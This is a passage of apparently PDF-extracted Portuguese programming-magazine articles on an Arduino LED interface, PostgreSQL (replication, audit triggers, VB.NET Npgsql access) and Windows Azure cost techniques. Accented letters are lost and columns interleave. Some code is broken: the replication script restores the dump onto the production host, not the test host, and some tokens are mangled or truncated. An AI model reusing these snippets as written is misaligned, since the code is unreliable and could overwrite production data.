if (mouseX &rt; 150 && mouseX < 250 && mouseY &rt; 250 && mouseY < 350 && button1 == 0 && estado == 0) { porta.write(111); button1 = 1; background(255); fill(0,0,0); textAlign(RIGHT); text("Estado: ", 75, 225); text("Led On", 115,225); rect(150, 250, 100, 100); fill(0, 128, 0); } //Valor 102 Significa Off else if(mouseX &rt; 150 && mouseX < 250 && mouseY &rt; 250 && mouseY < 350 && button1 == 1) { porta.write(102); button1 = 0; background(255); fill(0,0,0); textAlign(RIGHT); text("Estado: ", 75, 225); text("Led Off", 115,225); rect(150, 250, 100, 100); fill (255,0,0); } Apesar de ter algumas limitaes, tais como a no possibilidade de sobrepor duas imagens na tela, a linguagem Processing bastante gil e permite de uma forma simples e com uma sintaxe muito semelhante linguagem de programao C (com a qual tambm programamos o Arduino) permite dar os primeiros passos na criao de interfaces grficas e interagir com o Arduino. } Concluso: Como ficou demonstrado acima relativamente fcil criar uma interface grfica capaz de interagir com o Arduino e controlar atravs dela um LED. Com base num dos projectos mais simples que podem ser implementados com Arduino e implementando uma interface grfica aumentamos significativamente a usabilidade e aparncia do nosso projecto, pelo menos ao nvel de interface.
15
A PROGRAMAR
PostgreSQL como alternativa de SGBD
Introduo Quando projectamos uma aplicao de software com base de dados, h trs sistemas que automaticamente nos lembramos: Oracle, SQL Server e MySQL. Mas existem alternativas, desde solues proprietrias a projetos open source. O PostgreSQL, usualmente denominado de Postgres, uma das bases de dados que tem demonstrado maturidade e confiana nos ltimos anos e, por isso, merece destaque nesta edio, de modo a motivar o leitor a conhecer e testar um robusto e apetrechado SGBD. Embora pouco divulgado em Portugal, o Postgres tem inmeros adeptos e boas comunidades internacionais. O Brasil um dos principais impulsionadores e divulgadores deste SGBD, com uma boa comunidade de utilizadores e programadores, sendo considerado uma boa fonte de recursos para os programadores portugueses. Em Frana, o Instituto Nacional Geogrfico utiliza o PostGIS, o Sistema de Informao Geogrfica do PostgreSQL, como base cartogrfica para mais de 100 milhes de objetos espaciais, o que comprova a robustez deste SGBD. Facilmente montamos uma base de dados Postgres, tanto em Linux como em Windows, e os programadores pouco experientes com a instalao e configurao de sistemas operativos tm solues muito interessantes e prticas. Para Windows, a EnterpriseDB disponibiliza um pacote muito user -friendly com uma personalizao desta base de dados. Esta empresa fornece ainda suporte a nvel empresarial para os diversos sistemas operativos e formao a nvel internacional. Para os utilizadores de Debian Linux, um simples apt-get install postgresql postgresql-client efetua uma instalao muito rpida. Em termos conceptuais, o Postgres tem muitas semelhanas com o sistema Oracle. No a nvel da arquitetura da prpria base de dados e da algoritmia, mas em termos de conceito da estrutura de dados. Das maiores afinidades, destacamos a organizao dos schemas dentro da BD e a poderosa linguagem PLpg/SQL, muito idntica ao PL/SQL da Oracle. Para quem est habituado a desenvolver cdigo para BD's Oracle, a passagem para o Postgres ocorre sem grandes complicaes, dada a quantidade de semelhanas. Podemos encontrar na Internet muita documentao que relaciona estas duas SGBD's, com procedimentos para migraes de Oracle para Postgres, o que denota um forte interesse na utilizao do Postgres como alternativa Oracle. Diversas funcionalidades que, no sendo nicas deste SGBD, tornam o Postgres muito interessante e completo: clusters, organizao estrutural por schemas, triggers, linguagem processual PLpgSQL ou sequncias. Destacamos duas destas funcionalidades com exemplos de aplicao. Clustering A diviso da base de dados em clusters permite, entre outras opes, manter a alta disponibilidade da base de dados ou ainda uma rpida replicao de dados de produo para testes. Para um programador sem grandes conhecimentos de gesto de bases de dados, fcil replicar os dados de produo para um ambiente de testes noutro cluster. Exemplificamos com um script: Dados do servidor de produo: host: 192.168.69.1 porta: 5432 schema: my_application_schema Dados do servidor de testes: host: 192.168.69.2 porta: 5431 schema: my_application_schema Script SQL para eliminar testes, no ficheiro drop_my_tests_application_schema.sql: Scripts para Debian a executar na consola: $ pg_dump --host 192.168.69.1 --port 5432 -format plain --oids --verbose --file my_application_data_dump.sql --schema my_application_schema $ psql -h 192.168.69.2 -p 5431 -f drop_my_tests_application_schema.sql $ psql -h 192.168.69.1 -p 5432 -f my_application_data_dump.sql Triggers Uma das utilizaes dos Triggers, muito apreciada quando pretendemos implementar sistemas de Qualidade nas aplicaes, a possibilidade de fazer auditoria. Com o Postgres, podemos criar uma funo e um trigger com esse objetivo. Consideremos a tabela registo_correspondencia e tabela de histrico (ou auditoria) registo_correspondencia_audit. O objetivo do trigger efetuar uma cpia da linha alterada ou apagada na tabela registo_correspondencia para a sua tabela de auditoria. necessrio criar a funo que copia a linha da tabela: CREATE OR REPLACE FUNCTION registo_correspondencia_historico() RETURNS trigger AS $BODY$ DECLARE BEGIN INSERT INTO MY_APPLICATION_SCHEMA. registo_correspondencia_audit SELECT * FROM MY_APPLICATION_SCHEMA.registo_correspondencia WHERE REG_ID = OLD.REG_ID; RETURN NEW; END; $BODY$ LANGUAGE plpgsql VOLATILE COST 100; ALTER FUNCTION registo_correspondencia_historico() OWNER TO usr_correspondencia; 16
A PROGRAMAR
POSTGRESQL COMO ALTERNATIVA DE SGBD
Posteriormente, criamos o trigger que vai disparar a funo acima: CREATE TRIGGER trg_registo_correspondencia_historico BEFORE UPDATE OR DELETE ON registo_correspondencia FOR EACH ROW EXECUTE PROCEDURE registo_correspondencia_historico(); Ligao cliente-servidor .NET O Postgres pode ser utilizado por quase todas as plataformas e linguagens de programao, sendo que as mais comuns sero, sem dvida, PHP, Java ou Ruby. No entanto, tal no nos probe de programar com sucesso uma aplicao em .NET. A pensar na grande comunidade de programadores .NET, foi desenvolvido o projeto Npgsql, integralmente escrito em C#, que permite efetuar a ligao cliente servidor. Esta uma alternativa tradicional ligao ODBC, permitindo uma interao mais direta e especfica com a tecnologia Postgres. O Npgsql consiste numa DLL que pode ser includa no pacote de software ou apenas copiada para uma pasta de aplicao ASP.NET, no requerendo uma instalao no sistema operativo. O acesso a dados a partir de uma aplicao .NET tornase assim um dos mais simples de configurar, programar e distribuir. Execuo de queries Para uma determinada query com um comando INSERT, UPDATE ou DELETE, podemos criar uma funo genrica que execute o cdigo no Postgres, para uma ConnectionString: Const DBstr As String = "Server=192.168.69.1;Port=5432;Database=postgres; User Id=abc;Password=123; O cdigo em VB.NET no difere muito de uma ligao de dados a uma base de dados Oracle, por exemplo: Public Function sqlInsert(ByVal strsql As String, ByVal connectionString As String) As Integer Dim conn As New NpgsqlConnection (connectionString) Try Dim comm As New NpgsqlCommand(strsql, conn) conn.Open() Dim i As Integer = comm.ExecuteNonQuery conn.Close() conn.Dispose() Return i Catch ex As Exception If Not conn.State = Data.ConnectionState.Closed Then conn.Close() conn.Dispose() End If Return -1 End Try End Function Leitura de dados para um dataset Tambm neste caso, o acesso a dados simples, podendo ser criada uma funo genrica para o Postgres: Public Function ReturnDataSet(ByVal connString As String, ByVal strsql As String) As Data.DataSet Dim conn As New NpgsqlConnection(connString) conn.Open() Try Dim da As NpgsqlDataAdapter = New NpgsqlDataAdapter Dim cmd As New NpgsqlCommand(strsql, conn) Dim ds As New Data.DataSe da.SelectCommand = cmd da.Fill(ds) conn.Close() conn.Dispose() Return ds Catch ex As Exception conn.Close() conn.Dispose() Return Nothing End Try End Function Consideraes Finais O Postgres pode ser uma boa alternativa na implementao de um sistema de base de dados a nvel empresarial. A sua aparente similaridade com a Oracle, torna-o mais familiar e facilita a compreenso da sua filosofia de funcionamento. Em Portugal no existe ainda uma comunidade de utilizadores de Postgres e poucas so as empresas a apostar nesta tecnologia, considerando tambm que existe pouco suporte tcnico especializado na implementao e manuteno deste SGBD. No entanto, algumas empresas j do suporte ao Postgres, ainda que a quase totalidade no seja certificada. Esta falta de certificao e formao em Postgres no nosso pas podero desincentivar alguns gestores e programadores a implementar solues de Postgres no meio empresarial. No entanto, tal no impede que se experimente, que se teste e que se implementem aplicaes com base no Postgres, pois existe muita informao de qualidade na Internet, a comear pela documentao oficial, tambm disponvel em portugus. Escrito de acordo com o novo acordo ortogrfico.
AUTOR
Escrito por Ricardo Trindade actualmente o responsvel pela rea informtica dos Servios Sociais da Cmara Municipal de Lisboa onde efectua, desde administrao de sistemas, at programao em .NET. Est tambm ligado ao projecto N-Ideias na rea da consultoria, webdesign e software, trabalhando essencialmente com BD's Oracle, PostgreSQL e SQL Server.
17
A PROGRAMAR
Custo Efetivo de uma Soluo na Nuvem em Ambiente Windows Azure
A Nuvem O conceito de computao como um servio no original mas a interpretao moderna desse conceito muito diferente do que se assistiu na dcada de 70 com os sistemas de time-sharing. Nas suas diferentes formas a nuvem tem, hoje em dia, o propsito de: democratizar o acesso a recursos computacionais (Infrastructure as a Service, IaaS); concentrar as equipas de TI no desenvolvimento de aplicaes minimizando tarefas de manuteno e administrao de infraestrutura (Platform as a Service, PaaS); e disponibilizar solues Web com o mesmo tipo de funcionalidades que seriam expectveis numa aplicao desktop (Software as a Service, SaaS). As vrias valncias da nuvem so utilizadas por empresas das mais variadas reas de negcio que exploram algumas das caractersticas nicas que este novo modelo veio proporcionar. Algumas dessas caractersticas so: valor que resulta da multiplicao de uma tarifa pelo nmero de horas utilizadas mensalmente. Essa tarifa, que indica o valor do kWh, varia de acordo com a potncia eltrica contratada. Como se pode observar, o modelo empregue na nuvem o mesmo aplicado aos servios pblicos. O modelo aplicado justo porque o utilizador paga somente o que consome. Um acrscimo no nmero de horas de computao mensais significa que houve um acrscimo na procura ao servio ou seja, um eventual aumento do valor pago mensalmente compensado por um acrscimo no nmero de potenciais clientes e na receita gerada pela aplicao. Associativismo de custo - Associativismo de custo referese ao facto de 1000 mquinas a correrem por uma hora, custarem o mesmo do que uma mquina a correr por 1000 horas. Esta caracterstica faz com que a comunidade cientifica se interesse pela nuvem e a veja como uma alternativa para o processamento em lote. Elasticidade - A elasticidade refere-se capacidade dos recursos se dimensionarem automaticamente mediante a carga. Um servio elstico aquele em que os recursos disponibilizados correspondem aos recursos exigidos ao longo do tempo. Um servio no elstico por sua vez, um servio em que os recursos no se adaptam consoante a procura. Num servio no elstico os recursos disponibilizados so fixos podendo, mediante o dimensionamento feito, estar acima ou abaixo dos recursos exigidos. Se o dimensionamento feito acima do necessrio, a empresa penalizada financeiramente pois tem custos como eletricidade, ar condicionado e manuteno associados a equipamentos subaproveitados. Se, pelo contrrio, o nmero de servidores for definido por baixo o problema ainda maior uma vez que os clientes podem abandonar a aplicao como reao a um aumento do tempo de resposta ou ao descarte de pedidos. Num servio elstico os recursos disponibilizados correspondem aos recursos exigidos no momento, ou seja, a empresa nunca paga pelo excesso ou pela escassez de recursos. Assim, a elasticidade que caracteriza a nuvem aliciante para servios com picos de trfego sazonal ou pontual e para servios para os quais impossvel prever a procura. Rapidez de aprovisionamento - Refere-se possibilidade de aprovisionar servidores, armazenamento ou aplicaes em minutos em vez de semanas. A rapidez de aprovisionamento est ainda ligada facilidade de acesso aos recursos, que so pedidos atravs da chamada a uma API de gesto ou atravs de um portal Web. Estas caractersticas podem ser aliciantes para determinada organizao mas, a adoo da nuvem no deve basear-se
Eliminao do compromisso inicial Pagamento dos recursos mediante a utilizao Associativismo de custo Elasticidade Rapidez de aprovisionamento
Eliminao do compromisso inicial - Nem todas as empresas tm ao seu dispor um ou mais servidores livres para iniciar um novo projeto. Na maioria dos casos os recursos tm que ser adquiridos e por isso passam por um longo processo de aprovao. Mesmo que tenham sido aprovados, os recursos tm que ser instalados e configurados at serem postos disposio das equipas de desenvolvimento. Todas estas etapas consomem recursos e tempo empresa, esforo este que pode ser canalizado para a aplicao e no para a plataforma de suporte. Como a nuvem responde a aumentos de carga o utilizador da nuvem no se sente obrigado a fazer um provisionamento a longo prazo, podendo comear com poucos recursos e aumentando-os medida das suas necessidades, eliminando-se assim o compromisso inicial. Pagamento dos recursos mediante a utilizao - Uma das premissas da nuvem a de que os recursos sejam pagos mediante a sua utilizao num modelo que se assemelha ao encontrado na rede de eletricidade, gua ou telefone. Por exemplo, se o recurso for processamento o utilizador paga um valor que resulta da multiplicao de uma tarifa pelo nmero de horas utilizadas mensalmente. Essa tarifa, que indica o preo por hora, varia de acordo com o poder computacional da instncia escolhida. Numa analogia com a rede eltrica, o utilizador paga um
18
A PROGRAMAR
CUSTO EFETIVO DE UMA SOLUO NA NUVEM EM AMBIENTE WINDOWS AZURE
somente no entusiasmo criado em torno da mesma. Um estudo da IDC (http://goo.gl/kpbbL) mostra que quase 40 por cento das empresas portuguesas tm servios de cloudcomputing inseridos na sua estratgia de tecnologias de informao o que, evidencia a curiosidade que este novo paradigma tem vindo a despertar no seio das organizaes. Quase 40 por cento das empresas portuguesas tm servios de cloud computing inseridos na sua estratgia de tecnologias de informao - IDC, 2012 O facilitismo de acesso aos recursos disponibilizados pelos fornecedores de servio tambm no deve iludir as organizaes. Posto isto, a adoo do cloud-computing deve ser motivada por uma anlise da adequao do negcio nuvem da qual deve fazer parte uma estimativa de custos. Se o novo paradigma se mostrar adequado ao negcio, a estimativa de custos mostrar que se podero alcanar poupanas significativas. De seguida sero descritas alguma tcnicas de otimizao de custos na verso 1.5 da plataforma de cloud-computing da Microsoft, o Windows Azure. Estas tcnicas foram empregues no desenvolvimento de um stio que representasse uma aplicao tpica de uma empresa de pequena/mdia dimenso (PME). O stio, uma loja de comrcio eletrnico, serviu posteriormente para a comparao de custos entre uma aplicao alojada localmente (on-premises) e uma soluo na nuvem mostrando, quer a viabilidade do paradigma do ponto de vista financeiro quer o mtodo utilizado para o clculo. Estes assuntos iro ser abordados em duas seces distintas: so colocados disposio do utilizador trs tipos de instncia com propsitos distintos: Web Role Worker Role VM Role Web Role - Este tipo de instncia foi concebida para hospedar aplicaes Web. Um Web Role corre o Windows Server 2008 R2 tal como o Worker Role, a principal diferena reside no facto do primeiro ter o servidor Web Internet Information Services (IIS) integrado. Worker Role - Um Worker Role foi concebido para hospedar todo o tipo de aplicaes sendo prtica comum usar este tipo de instncia para correr tarefas em background que demorem algum tempo a processar. Web e Worker Roles podem ser usados em conjunto. Por exemplo, enquanto um Worker Role pode redimensionar imagens ou aplicar a transcodificao de vdeo, um Web Role pode estar encarregue da interao com o utilizador. VM Role - O VM Role permite ao utilizador construir a sua imagem customizada do sistema operativo partindo de uma de duas verses do Windows Server 2008 (R2 Enterprise ou R2 Standard). Um cenrio tpico de aplicao do VM Role quando um utilizador tem um processo de instalao demorado que necessita de ser executado para que a mquina fique pronta. Ao preparar uma imagem em que o ambiente de execuo est pronto possvel diminuir o tempo de arranque da instncia. Quando existe este tipo de instalao ou quando o setup no pode ser automatizado deve ser usado um VM Role. importante referir que todos os trs tipos de instncia so stateless, portanto, o utilizador no pode contar com o armazenamento da mquina para guardar informao que necessita de ser persistente. Esta uma caracterstica necessria para possibilitar a gesto das mquinas por parte da Microsoft e para facilitar a escalabilidade. Outra imposio a de que o utilizador tenha pelo menos duas instncias de cada tipo para que seja garantido o Service-Level Agreement (SLA) de 99,95% de uptime o que corresponde a um downtime mensal de 21 minutos e 36 segundos. Se a aplicao tiver duas ou mais instncias assegurado pela Microsoft que usa pelo menos dois domnios de falha e dois domnios de upgrade o que lhe confere o SLA publicitado (Tabela 1).
Domnio de Falha 1 Domnio de Upgrade 1 Domnio de Upgrade 2 Instncia 1 (i1) Instncia 2 (i2) Domnio de Falha 2
Na oferta de cloud-computing da Microsoft, o Microsoft Windows Azure, disponibilizada uma plataforma que permite hospedar aplicaes (PaaS). O servio disponibilizado potenciado pelo uso de tecnologias de virtualizao que permitem que uma aplicao seja independente de outras hospedadas na mesma mquina fsica. A computao cobrada em CPU/hora sendo que, o valor varia consoante as especificaes do servidor virtualizado tambm designado por instncia no Windows Azure. A cada uma das configuraes de servidor corresponde um tamanho por exemplo, uma instncia Extra Small tem um ncleo partilhado a 1.0GHz e 728MB de RAM enquanto uma instncia Extra Large dispe de 8 ncleos a 1.6GHz e 15GB de RAM (as especificaes de cada tamanho e o respetivo custo podem ser consultados no stio http://goo.gl/dseuY na seco Cloud Services). Para alm dos vrios tamanhos
19
A PROGRAMAR
CUSTO EFETIVO DE UMA SOLUO NA NUVEM EM AMBIENTE WINDOWS AZURE
Domnios de Falha - Os domnios de falha indicam hardware separado ou seja, duas instncias (i1 e i2) em domnios de falha distintos nunca vo partilhar um nico ponto de falha ou seja, no vo estar hospedadas no mesmo servidor fsico, no mesmo bastidor ou partilhar o mesmo switch. Se o servidor que hospeda a instncia i1 tiver uma falha de hardware, este problema fica isolado a uma das instncias da aplicao. O Windows Azure retira a instncia i1 do sistema de balanceamento de carga, de seguida encarrega-se de lanar uma nova instncia num servidor considerado saudvel enquanto a instncia i2 assegura todo o servio. Quando a aplicao voltar a ter duas instncias a alta disponibilidade recuperada. Domnios de Upgrade - Os domnios de upgrade isolam a aplicao em processos de atualizao do mesmo modo que os domnios de falha isolam a aplicao de falhas de hardware. Se o utilizador quiser atualizar a aplicao e tiver somente uma instncia ou um nico domnio de upgrade, o Windows Azure vai parar a instncia, atualizar a aplicao e voltar a colocar a aplicao on-line num processo que causa quebra de servio. Se existirem duas instncias em dois domnios de upgrade distintos esta atualizao pode ser faseada numa operao a que se d o nome de rolling upgrade. Num rolling upgrade o trfego desviado do primeiro domnio, depois as instncias desse domnio so atualizadas e reiniciadas. Quando a operao estiver concluda as instncias so colocadas novamente ao servio e a atualizao feita ao domnio de upgrade seguinte. Deste modo no h quebra de servio. Portanto, se uma aplicao Web necessitar de executar tarefas em background deve ser utilizado um Worker Role em complemento ao Web Role usado para hospedar o stio. Se tivermos em conta que so necessrias duas instncias de cada tipo para que seja garantido o SLA, uma soluo que anteriormente necessitava de duas instncias passa a quatro com a adio de dois Worker Roles. Esta adio resulta num aumento significativo do custo mensal da aplicao. Worker Role e Web Role na mesma mquina Seguidamente ser demonstrada uma tcnica que permite hospedar o Web Role e o Worker Role na mesma instncia. Tomemos como exemplo uma loja de comrcio eletrnico desenvolvida em ASP.NET 4 que necessita de enviar emails para registo de utilizadores e comprovativos de compra. O envio de emails uma tarefa bloqueante que apropriada para ser executado em background por isso, a soluo tpica seria a de acrescentar dois Worker Roles soluo. Contudo, o envio de emails no uma tarefa computacionalmente exigente pelo que excessivo dedicar duas instncias ou at mesmo, uma s instncia em exclusivo para este fim. Para que se faa um aproveitamento eficiente dos recursos disponveis, as tarefas de background vo ser hospedadas nas mesmas instncias usadas para hospedar o stio. Como foi mencionado anteriormente a principal diferena entre um Web Role e um Worker Role que um tem o servidor IIS integrado e o outro no, pelo que no de esperar grandes constrangimentos no uso do Web Role para as duas funes. O primeiro passo o de fazer override ao mtodo Run na classe WebRole. Embora o mtodo Run no esteja presente no modelo de projeto Web Role ele encontra-se presente na superclasse da qual o WebRole estende. O mtodo chamado pela plataforma Windows Azure no processo de arranque como podemos observar na descrio do mtodo (Listagem 1). A lgica implementada no Web Role da mesma forma que seria implementada num Worker Role ou seja, atravs da criao de um ciclo infinito no mtodo Run. Dentro desse ciclo verificado se existe alguma tarefa de background para ser executada, se no existir, a thread dorme. // // Summary: // Called by Windows Azure after the role //instance has // been initialized. This method //serves as the main // thread of execution for your role. // // Remarks: // Override the Run method to implement your own //code to manage the role's execution. The Run //method should implement a long-running thread that carries out operations for the role. () public virtual void Run();
Listagem 1 - Mtodo Run na classe RoleEntryPoint
public override void Run() { FauxWorker(); } private void FauxWorker() { CloudQueueClient queueClient = null; CloudQueue queue = null; int maximumBackoff = CloudShopConf.QueueMaximumBackoffSec; int minimumBackoff = CloudShopConf.QueueMinimumBackoffSec; int curBackoffSec = minimumBackoff; int retries = 0; try { //Instancia a queue } catch (Exception e) { } while(true) { //Representa uma mensagem na queue CloudQueueMessage msg = queue.GetMessage(); //Se existe uma mensagem para processar if (msg != null) { //3 tentativas para executar a ao retries = 3; //Algoritmo backoff passa para o intervalo de //tempo min cada vez que encontra uma msg para //ler curBackoffSec = minimumBackoff; //Abre a mensagem que contem o tipo //de operao a executar (ndice 0) e a chave do //registo associado no Table Storage (ndice 1)
20
A PROGRAMAR
CUSTO EFETIVO DE UMA SOLUO NA NUVEM EM AMBIENTE WINDOWS AZURE
String str_msg = msg.AsString; String[] array_ofStrTokens = str_msg.Split(';'); //Escolhe a operao a executar switch (array_ofStrTokens[0]) { case "SendMail": //Envia email break; case "DoSQLCmd": //Executa comando SQL break; default: break; } } //Se no existirem mensagens na queue else { //thread dorme System.Threading.Thread.Sleep //(curBackoffSec); //Se o backoff atual for inferior ao mximo, //dobra o perodo de backoff if (curBackoffSec < maximumBackoff) { curBackoffSec *= 2; } } } }
Listagem 2 - Mtodo Run na classe WebRole
das mensagens na queue. O uso da queue permite notificar o falso Worker Role de que existem tarefas para realizar. Como compete ao falso Worker Role fazer pulling aos dados h ainda o benefcio acrescido das tarefas serem corretamente balanceadas pelas mltiplas instncias da aplicao. Quando o falso Worker Role encontra uma tarefa na queue (3) verifica o tipo de operao pretendida, de seguida retira da mensagem a chave que lhe permite encontrar o registo associado. Os campos necessrios so retirados da tabela (4) e o email enviado (5), no final os dados so removidos. A thread faz nova iterao ao ciclo e verifica se existem mais tarefas para processar. Se existirem o processo repete-se caso contrrio, a thread dorme pelo perodo definido pelo algoritmo de backoff. O algoritmo de backoff permite minimizar o nmero de acessos uma vez que todas as operaes de acesso queue so contabilizadas (o custo das operaes pode ser consultado no stio http://goo.gl/dseuY na seco Data Management). Numa soluo deste tipo deve ainda ser implementado um mecanismo de retry que permita repetir o envio em caso de falha. Se a aplicao falhar todas as tentativas de envio definidas pelo mecanismo de retry ento, a falha deve ser registada em log e a mensagem deve ser retirada da queue para que no bloqueie a fila e impea o processamento de outras mensagens. Por fim, deve existir uma forma do administrador do stio verificar a existncia de mensagens em fila. Para o efeito foi criado um User Control composto pelos controlos UpdatePanel, Label e Timer (Figura 2).
O esqueleto do mtodo usado para correr tarefas de background num Web Role est presente na Listagem 2. A implementao deste mtodo permitiu que fosse criado um falso Worker Role que corre num processo distinto do stio (o RoleEntryPoint corre no processo WaIISHost.exe ao passo que o stio corre no processo w3wp.exe). O funcionamento do cdigo implementado o seguinte (Figura 1):
O UpdatePanel um painel que permite a atualizao do seu contedo sem ser necessrio efetuar um postback pgina. Esta caracterstica advm do fato de ser um dos controlos AJAX do ASP.NET. O Timer, outro dos controlos AJAX, permite que um evento seja gerado em intervalos regulares (propriedade Interval). Esse evento foi usado para alternar o texto da Label entre DONE e TO DO.
Figura 1 - Funcionamento do falso Worker Role
Quando existe uma mensagem de email para enviar a loja de comrcio eletrnico guarda os campos da mensagem numa tabela (1), depois coloca uma mensagem na queue contendo o tipo de operao a realizar e a chave do registo da tabela (2). A chave serve de ponteiro para os dados permitindo contornar a limitao de 64KB imposta ao tamanho
//evento despoletado no intervalo de tempo //definido na //propriedade Timer1.Interval protected void Timer1_Tick(object sender, EventArgs e) { UpdateDynamicFields(); } private void UpdateDynamicFields() { //Verifica se a queue tem mensagens por processar
21
A PROGRAMAR
CUSTO EFETIVO DE UMA SOLUO NA NUVEM EM AMBIENTE WINDOWS AZURE
if (StorageFactory.GetCloudQueueMessageCount() == 0) { LabelWStatus.Text = "DONE"; LabelWStatus.ForeColor = Color.Green; } else { LabelWStatus.Text = "TO DO"; LabelWStatus.ForeColor = Color.Red; } }
Listagem 3 - Evento despoletado pelo Timer
ou BLOBs. Para o comprovar foram executados testes do qual resultou o grfico da Figura 3.
Resumindo, esta tcnica permite que as tarefas de background sejam enviadas para um processo isolado que no bloqueia o stio. A forma como feita a interligao entre o stio e o falso Worker Role, atravs do uso de queues e tabelas, permite que as duas funcionalidades se mantenham independentes. Assim, se no futuro, o utilizador necessitar de mais instncias que corram tarefas de background mas no precisar de mais instncias do stio pode facilmente, migrar o cdigo para um Worker Role real e passar a dimensionar as duas funcionalidades de forma independente. At l o utilizador pode beneficiar da economia de ter somente duas instncias em vez de quatro. Guardar variveis de sesso na base de dados O protocolo HTTP um protocolo stateless, pelo que, por omisso, todos os pedidos feitos ao servidor Web so independentes e no guardam estado acerca dos pedidos anteriores. Durante os testes efetuados verificou-se que as variveis de sesso no funcionavam no Windows Azure quando era usada mais do que uma instncia. De facto, quando um utilizador acede ao stio atravs de um navegador -lhe atribudo um ID de sesso que enviado em pedidos posteriores atravs de um cookie. O ID de sesso serve para fazer o mapeamento entre o utilizador e as variveis guardadas no servidor a que damos o nome de variveis de sesso. Por omisso (Listagem 4) as variveis de sesso so guardadas na memria do processo responsvel por hospedar a aplicao ASP.NET ou seja, as variveis s esto acessveis na instncia em que foram definidas. Listagem 4 - Configurao do armazenamento das variveis de <sessionState mode="InProc"> </sessionState> sesso, ficheiro Web.config Como dois pedidos consecutivos podem ser encaminhados pelo load balancer para duas instncias diferentes importante que estas possam aceder a armazenamento partilhado para que tenham acesso s mesmas variveis de sesso. Existiam vrias opes de armazenamento partilhado que poderiam ter sido utilizadas aquando do desenvolvimento do stio. O servio de caching do Windows Azure pareceu, partida, a opo mais favorvel por ser previsivelmente mais rpido. O facto de se basear numa cache de memria fazia prever que se destacasse de outras opes baseadas em base de dados, tabelas
O teste consistiu no registo do tempo de escrita e leitura de 256, 512, 1024, 2048 e 4096 variveis de sesso. Os tempos registados em milissegundos representam a mdia de 3 execues consecutivas usando cada uma das opes de armazenamento (memria do processo que hospeda a aplicao, servio de caching, base de dados e tabelas do Windows Azure). Como se pode verificar o servio de caching foi de facto a soluo de armazenamento partilhado mais rpida, sendo contudo a mais dispendiosa (o preo pode ser consultado no stio http://goo.gl/dseuY na seco Caching). Acresce-se que a diferena de desempenho no foi to notria como seria de esperar, apenas se fazendo notar no caso de 4096 variveis de sesso em simultneo. Deste modo, o uso da cache de memria s justificado caso a aplicao faa uso intensivo de variveis de sesso ou use a memria para outros efeitos. Se a aplicao no se enquadra neste perfil de utilizao e j dispe de uma base de dados SQL Azure ento o uso do System.Web.Providers providencia um desempenho semelhante sem introduzir quaisquer custos adicionais soluo. Foi este o Provider utilizado na loja de comrcio eletrnico. O ASP.NET j dispunha de um Provider integrado para o armazenamento de sesses em bases de dados SQL Server que embora pudesse ser utilizado com o SQL Azure no era oficialmente suportado e apresentava alguns problemas como no apagar automaticamente as sesses expiradas. Em
22
A PROGRAMAR
CUSTO EFETIVO DE UMA SOLUO NA NUVEM EM AMBIENTE WINDOWS AZURE
2011 foi lanado um conjunto de Providers sob o nome de System.Web.Providers com o propsito de estender o suporte oficial ao SQL Azure e ao SQL Compact Edition. A verso utilizada foi a 1.2 que pode ser obtida atravs do gestor de pacotes do Visual Studio acessvel no menu Tools>Library Package Manager>Package Manager Console (Listagem 5). PM> Get-Package -Filter System.Web.Providers ListAvailable Id Desc -------------------------System.Web.Providers.Core L... System.Web.Providers.LocalDb L... System.Web.Providers L... MvcInstaller.MVC4 A... System.Web.Providers.SqlCE L... Version ------1.1 1.1 1.2 1.1.1.0 1.1 para no se incorrer em custos de transferncia entre componentes da soluo aloj-los no mesmo datacenter. Se o utilizador escolher a mesma sub-regio para todos os servios que utiliza, os servios sero alojados no mesmo datacenter, eliminando-se o custo da transferncia e beneficiando-se de uma menor latncia. Para alm de poder escolher a sub-regio em que o servio inserido o utilizador pode criar um Affinity Group. O Affinity Group deve ser utilizado sempre que esteja disponvel, dado que permite no s, que o servio seja alojado no mesmo datacenter, como tambm que seja alojado o mais prximo possvel de outros servios do utilizador, possivelmente no mesmo contentor e no mesmo bastidor. Anlise de uma Soluo On-Premises VS Nuvem Esta seco focou algumas das boas prticas para o uso eficiente de recursos e consequente controlo de custos no ambiente Windows Azure. As tcnicas exemplificadas foram aplicadas na loja de comrcio eletrnico e iro refletir-se nos custos aferida na seco Anlise de uma Soluo OnPremises VS Nuvem.
Findo o download do pacote basta adicionar ao projeto uma referncia a System.Web.Providers para que a ferramenta de desenvolvimento se encarregue da adequao do ficheiros de configurao Web.config habilitando o armazenamento das variveis de sesso na base de dados (Listagem 6). <sessionState mode="Custom" customProvider="DefaultSessionProvider"> <providers> <add name="DefaultSessionProvider" type= "System.Web.Providers.DefaultSessionStateProvider , System.Web.Providers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" connectionStringName="SQLServerConnectionString" applicationName="CloudShop"/> </providers> </sessionState>
Listagem 6 - Configurao do armazenamento das variveis de sesso, definio da ConnectionString no ficheiro Web.config
Esta seco compara, do ponto de vista financeiro, uma soluo on-premises com uma soluo na nuvem. Para o efeito so empregues dados estatsticos reais (e annimos) da maior loja de comrcio eletrnico (Loja A) alojada por um determinado servio de web hosting. As caractersticas do servidor que hospeda a Loja A encontram-se na Tabela 2.
Virtualizao Parallels Virtuozzo (http://goo.gl/Ev71v)
Processador
Nmero de Cores
Memria RAM
8GB
Armazenamento
Em termos de configurao apenas requerido que o utilizador indique a ConnectionString para a sua base de dados SQL Azure atravs do parmetro connectionStringName (Listagem 6). Assim da prxima vez que a aplicao for executada criada a tabela Sessions permitindo o uso de variveis de sesso na base de dados tal qual elas estivessem armazenadas na memria do servidor. Zonas Geogrficas A quantidade de dados transferidos um dos custos associados nuvem. Este custo aplica-se inclusive a dados transferidos entre dois servios do Windows Azure se estes necessitarem de atravessar a Internet. Uma medida bvia 23
Como se pretende que sejam comparadas solues equivalentes, o tamanho das instncias da nuvem necessita de ser afinado para que o desempenho se assemelhe o mais possvel com o servidor da Loja A. Foi utilizada a verso 7 da aplicao Passmark Performance Test (http://goo.gl/nTrx) para medir o desempenho computacional de cada um dos tamanhos das instncia da oferta de PaaS da Microsoft: Small, Medium, Large e Extra Large. Para a soluo on-premises foram utilizados os resultados de um servidor equiparado ao da Loja A presentes na base de dados de benchmarks da Passmark. Do comparativo resultou a Figura 4.
A PROGRAMAR
CUSTO EFETIVO DE UMA SOLUO NA NUVEM EM AMBIENTE WINDOWS AZURE
